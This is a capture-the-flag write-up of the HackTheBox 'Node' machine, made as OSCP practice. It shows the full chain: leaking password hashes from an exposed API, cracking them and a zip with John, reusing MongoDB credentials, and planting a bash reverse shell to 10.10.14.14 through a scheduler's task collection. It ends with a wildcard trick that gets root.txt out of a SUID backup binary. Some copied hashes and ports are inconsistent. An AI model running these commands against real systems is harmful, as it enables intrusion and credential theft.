
HackTheBox – Node

PATH TO OSCP


–Filiplain

Sat 03 Jul 2021

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1 HackTheBox Node



1.1 Objectives

- Find Admin username and Hash
- Crack password for Zip file
- Use MongoDB to get a Shell
- Get the Root flag with a binary

1.2 Service Enumeration

IP address

10.10.10.58

Ports Open

22


3000

Full Nmap Scan

Nmap

```
PORT      STATE SERVICE          VERSION
22/tcp    open  ssh              OpenSSH 7.2p2 Ubuntu 4ubuntu2.2
  ↳ (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 dc:5e:34:a6:25:db:43:ec:eb:40:f4:96:7b:8e:d1:da (RSA)
|   256  6c:8e:5e:5f:4f:d5:41:7d:18:95:d1:dc:2e:3f:e5:9c (ECDSA)
|_  256  d8:78:b8:5d:85:ff:ad:7b:e6:e2:b5:da:1e:52:62:36 (ED25519)
3000/tcp  open  hadoop-tasktracker Apache Hadoop
| hadoop-datanode-info:
|_  Logs: /login
| hadoop-tasktracker-info:
|_  Logs: /login
|_ http-title: MyPlace
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
```

1.3 Web Enumeration



Source code:

```

</body>

<script type="text/javascript" src="vendor/jquery/jquery.min.js"></script>
<script type="text/javascript" src="vendor/bootstrap/js/bootstrap.min.js"></script>
<script type="text/javascript" src="vendor/angular/angular.min.js"></script>
<script type="text/javascript" src="vendor/angular/angular-route.min.js"></script>
<script type="text/javascript" src="assets/js/app/app.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/home.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/login.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/admin.js"></script>
<script type="text/javascript" src="assets/js/app/controllers/profile.js"></script>
<script type="text/javascript" src="assets/js/misc/freelancer.min.js"></script>
</html>

```

Profile controller source:

← → ↺ ⚠ Not secure | node.htb:3000/assets/js/app/controllers/profile.js

```

var controllers = angular.module('controllers');

controllers.controller('ProfileCtrl', function ($scope, $http, $routeParams) {
  $http.get('/api/users/' + $routeParams.username)
    .then(function (res) {
      $scope.user = res.data;
    }, function (res) {
      $scope.hasError = true;

      if (res.status == 404) {
        $scope.errorMessage = 'This user does not exist';
      }
      else {
        $scope.errorMessage = 'An unexpected error occurred';
      }
    });
});

```

Here we see a path in a function:

```
$http.get('/api/users/' + $routeParams.username)
```

← → ↺ ⚠ Not secure | 10.10.10.58:3000/api/users/

```

[{"_id": "59a7365b98aa325cc03ee51c", "username": "myP14ceAdminAcc0uNT", "password": "dffc504aa5535b9b9265cbebe1e4032fe00b64475ae3fd29c07d2323334d0af", "is_admin": true},
{"_id": "59a7368398aa325cc03ee51d", "username": "tom", "password": "f8e2e750791171b0391b602ec35035bdea5c3f7c8d1d0191451ec77b4d75f240", "is_admin": false},
{"_id": "59a7368e98aa325cc03ee51e", "username": "mark", "password": "de5aladff4fedcc1533915edc60177547f1057b61b7119fd130e1f7428705f73", "is_admin": false},
{"_id": "59aa9781cced6f1d1490fce9", "username": "rastating", "password": "5065db2df0d4ee53562c650c29bacf55b97e231e3fe88570abc9edd8b78ac2f0", "is_admin": false}]

```

1.4 Admin Login Access

Now that we have the admin user name, let's see if we can get the password with the hash:

```
dfffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af"
```

The image shows the 'Free Password Hash Cracker' web application. A text box contains the hash 'dfffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af'. To the right is a reCAPTCHA 'I'm not a robot' checkbox and a 'Crack Hashes' button. Below the input box, a table displays the results of the cracking process.

Hash	Type	Result
dfffc504aa55359b9265cbebe1e4032fe600b64475ae3fd29c07d23223334d0af	sha256	manchester

Supports: LM, NTLM, md2, md4, md5, md5(md5_hex), md5-half, sha1, sha224, sha256, sha384, sha512, rpeMD160, whirlpool, MySQL 4.1+ (sha1 sha1_bin), QubesV3.1BackupDefaults

Color Codes: Green Exact match, Yellow Partial match, Red Not found.

[Download CrackStation's Wordlist](#)

Credentials

myP14ceAdm1nAcc0uNT:manchester

Login Page

The image shows a web browser window displaying the 'MYPLACE' login page. The page has a dark blue header with 'MYPLACE' on the left and 'LOGIN' on the right. Below the header is a large teal banner with the text 'WELCOME TO MYPLACE'. Underneath the banner is a 'LOGIN' section with a horizontal line above it. This section contains two input fields: the first is pre-filled with 'myP14ceAdm1nAcc0uNT' and the second is masked with dots. Below these fields is a dark blue 'Login' button.

Once we are inside, we will see a “Download Backup”:

WELCOME BACK, MYP14CEADMINACCOUNT

Download Backup

The backup file is a base64 encoded file.

1.5 Cracking Backup File

When we convert the file from base64, we get a zip file that is locked, so we have to crack it.

Cracking with John


First we have to pass the file to a format that John understands:

```
/usr/sbin/zip2john myplace.zip > myplace.hash
```

Then we crack this hash:

```
john --wordlist=/usr/share/wordlists/rockyou.txt myplace.hash
```

I already cracked it, so I’m going to “show” it:



```
(filiplain@fsociety)-[~/oscp/htb/]  
$ john --show myplace.hash  
myplace.zip:magicword::myplace.zip:va  
rve-static/README.md, var/www/myplace
```


Unzip the Backup File

```
(filiplain@fsociety)-[~/oscp/htb/node]
$ unzip myplace.zip
Archive:  myplace.zip
[myplace.zip] var/www/myplace/package-lock.json password: 
```

Password: magicword

The output file “var” is the hosted file path of the server, we can see the code running on the server:

Looking at the main app running the website “app.js”:


```
(filiplain@fsociety)-[~/node/var/www/myplace]
$ cat /home/filiplain/oscp/htb/node/var/www/myplace/app.js

const express      = require('express');
const session       = require('express-session');
const bodyParser    = require('body-parser');
const crypto        = require('crypto');
const MongoClient   = require('mongodb').MongoClient;
const ObjectId      = require('mongodb').ObjectId;
const path          = require('path');
const spawn        = require('child_process').spawn;
const app           = express();
const url           = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/myplace?authMechanism=DEFAULT&authSource=myplace';
const backup_key    = '45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474';
```

Here we have credentials for the user mark mark:5AYRft73VtFpc84k and a backup key 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474.

Accessing The Box

We can use Mark's MongoDB password to log in with SSH:



1.6 Getting User

The next step will be to get a shell as the user Tom, looking at the processes he is running,

```
mark@node:~$ ps -aux |grep tom
tom      1228  0.0  5.6 1008568 42812 ?        Ssl  17:47   0:02 /usr/bin/node /var/scheduler/app.js
tom      1234  0.0  6.5 1021804 49564 ?        Ssl  17:47   0:02 /usr/bin/node /var/www/myplace/app.js
mark     1530  0.0  0.1  14228   980 pts/0    S+   19:52   0:00 grep --color=auto tom
mark@node:~$
```

We see Node running two different “app.js”, the first one with the path “/var/scheduler/app.js”.

```
mark@node:~$ cat /var/scheduler/app.js
const exec      = require('child_process').exec;
const MongoClient = require('mongodb').MongoClient;
const ObjectId   = require('mongodb').ObjectId;
const url       = 'mongodb://mark:5AYRft73VtFpc84k@localhost:27017/scheduler?authMechanism=DEFAULT';

MongoClient.connect(url, function(error, db) {
  if (error || !db) {
    console.log('[!] Failed to connect to mongodb');
    return;
  }

  setInterval(function () {
    db.collection('tasks').find().toArray(function (error, docs) {
      if (!error && docs) {
        docs.forEach(function (doc) {
          if (doc) {
            console.log('Executing task ' + doc._id + '...');
            exec(doc.cmd);
            db.collection('tasks').deleteOne({ _id: new ObjectId(doc._id) });
          }
        });
      }
    });
  }, 1000);
});
```

This “app.js” runs cmd commands “exec(doc.cmd);” with mongoDB, so we can abuse this by modifying the collection “tasks” inside of the scheduler database.

First we are going to create an executable reverse shell:

```
echo -e "#!/bin/bash\n bash -i >& /dev/tcp/10.10.14.14/8087 0>&1" > /tmp/shell.sh;chmod +x /tmp/shell.sh
```

Now let’s modify the collection in MongoDB:

```
mongo -u mark -p "5AYRft73VtFpc84k" scheduler
```

```
db.tasks.insert( { "cmd" : "/tmp/shell.sh" } )
```

```
> db.tasks.insert( { "cmd" : "/tmp/shell.sh" } )
WriteResult({ "nInserted" : 1 })
> db.tasks.find()
{ "_id" : ObjectId("60e0b5742c14abea3090e37d"), "cmd" : "/tmp/shell.sh" }
```



```
(filiplain@fsociety)-[~/.../node/var/www/myplace]
$ nc -lvnp 8089
Ncat: Version 7.91 ( https://nmap.org/ncat )
Ncat: Listening on :::8089
Ncat: Listening on 0.0.0.0:8089
Ncat: Connection from 10.10.10.58.
Ncat: Connection from 10.10.10.58:47812.
bash: cannot set terminal process group (1228): Inappropriate ioctl for device
bash: no job control in this shell
To run a command as administrator (user "root"), use "sudo <command>".
See "man sudo_root" for details.

tom@node:/$
```

1.7 Getting Root

This box has many ways to get root, I'm going to do an unintended way.

Looking for binaries with the SUID flag:

```

tom@node:/$ ls -la $(find / -perm -4000 2>/dev/null)
ls -la $(find / -perm -4000 2>/dev/null)
-rwsr-xr-x 1 root root 30800 Jul 12 2016 /bin/fusermount
-rwsr-xr-x 1 root root 40152 Jun 14 2017 /bin/mount
-rwsr-xr-x 1 root root 142032 Jan 28 2017 /bin/ntfs-3g
-rwsr-xr-x 1 root root 44168 May 7 2014 /bin/ping
-rwsr-xr-x 1 root root 44680 May 7 2014 /bin/ping6
-rwsr-xr-x 1 root root 40128 May 17 2017 /bin/su
-rwsr-xr-x 1 root root 27608 Jun 14 2017 /bin/umount
-rwsr-sr-x 1 daemon daemon 51464 Jan 14 2016 /usr/bin/at
-rwsr-xr-x 1 root root 49584 May 17 2017 /usr/bin/chfn
-rwsr-xr-x 1 root root 40432 May 17 2017 /usr/bin/chsh
-rwsr-xr-x 1 root root 75304 May 17 2017 /usr/bin/gpasswd
-rwsr-xr-x 1 root root 32944 May 17 2017 /usr/bin/newgidmap
-rwsr-xr-x 1 root root 39904 May 17 2017 /usr/bin/newgrp
-rwsr-xr-x 1 root root 32944 May 17 2017 /usr/bin/newuidmap
-rwsr-xr-x 1 root root 54256 May 17 2017 /usr/bin/passwd
-rwsr-xr-x 1 root root 23376 Jan 17 2016 /usr/bin/pkexec
-rwsr-xr-x 1 root root 136808 Jul 4 2017 /usr/bin/sudo
-rwsr-xr-- 1 root messagebus 42992 Jan 12 2017 /usr/lib/dbus-1.0/dbus-daemon-launch-helper
-rwsr-xr-x 1 root root 10232 Mar 27 2017 /usr/lib/eject/dmccrypt-get-device
-rwsr-xr-x 1 root root 428240 Mar 16 2017 /usr/lib/openssh/ssh-keysign
-rwsr-xr-x 1 root root 14864 Jan 17 2016 /usr/lib/policykit-1/polkit-agent-helper-1
-rwsr-xr-x 1 root root 81672 Jul 17 2017 /usr/lib/snapd/snap-confine
-rwsr-xr-x 1 root root 38984 Jun 14 2017 /usr/lib/x86_64-linux-gnu/lxc/lxc-user-nic
-rwsr-xr-- 1 root admin 16484 Sep 3 2017 /usr/local/bin/backup
tom@node:/$

```


We see an interesting one “/usr/local/bin/backup” that only the root user and the users in the admin group can run it, and the user Tom is part of the admin group:

```

tom@node:/$ id
id
uid=1000(tom) gid=1000(tom) groups=1000(tom),4(adm),24(cdrom),27(sudo),30(dip),46(plug
ev),115(lpadmin),116(sambashare),1002(admin)
tom@node:/$

```

The “backup” file requires three arguments to work, and one of the arguments will be a magic word.



When we were looking at the “app.js” that the website is running, we saw a backup key: 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474, the app also have the syntax for this backup binary:

```
var proc = spawn('/usr/local/bin/backup', ['-q', backup_key, __dirname ]);
var backup = '';
```

It needs the flag “-q” the backup key and the name of the directory, it will be something like:

```
backup -q
→ 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474
→ /root/root.txt
```

The output will be a base64 that we have to decode and pass to a zip file, and then unzip it, in this case we don't get the flag:

[illegible]

There is a function in the binary that checks if the file in the arguments is “/root”, so let’s hijack it:

In this case instead of using the “/root” we can use something like:

```
backup -q
```

→ 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474

↪ `/ro*/*oot.txt`

```
tom@node:/$ backup -q 45fac180e9eee72f4fd2d9386ea7033e52b7c740afc3d98a8d0230167104d474 /ro/*oot.txt
UESDBAoACQAAANR9I0vyjddALQAAACEAAAAABwAcmv9dC9yb290LnR4dFVUCQAD0BwsWajA4GB1eAsAAQAAAAABAAAAACvouwoenBy7tD6icD0bq8
y470tEscHogQXcqjU+0beFl0gXkQ/SFZGv75QSwci8o43QC0AAAAhAAAAUESBah4DCgAJAAAA1H0jS/KON0AtAAAAIQAAAAAGAAAAAAAQAAAKCBA
Jvb3Qvcmv9dC50eHRVVAUA9AvrFl1eAsAAQAAAAABAAAAABQSwUGAAAAAAEAAQBTAAAAhAAAAAAtom@node:/$
```

The only thing left will be base64 decoding it, then unzip it with the “magicpassword” from the previous zip, and cat the flag.


```
(filiplain@fsociety) - [~/node/var/www/myplace]
$ echo "UESDBAoACQAAANR9I0vyjddALQAAACEAAAAABwAcm9vdC9yb290LnR4dFVUCQAD0BWsWajA4GB1eAsAAQAAAAABAAAAADCxNMDYt0KCBAAAAAHJvb3Qvcml9vdC50eHRVVAUAA9AVrFl1eAsAAQAAAAABAAAAABQSwUGAAAAAAEAQBTAAAAhAAAAAAAA" | base64 -d > root.zip

(filiplain@fsociety) - [~/node/var/www/myplace]
$ unzip root.zip
Archive:  root.zip
[root.zip] root/root.txt password:
extracting: root/root.txt

(filiplain@fsociety) - [~/node/var/www/myplace]
$ cat root/root.txt
1722a00ca5f352b362556a62bd5e6be0
```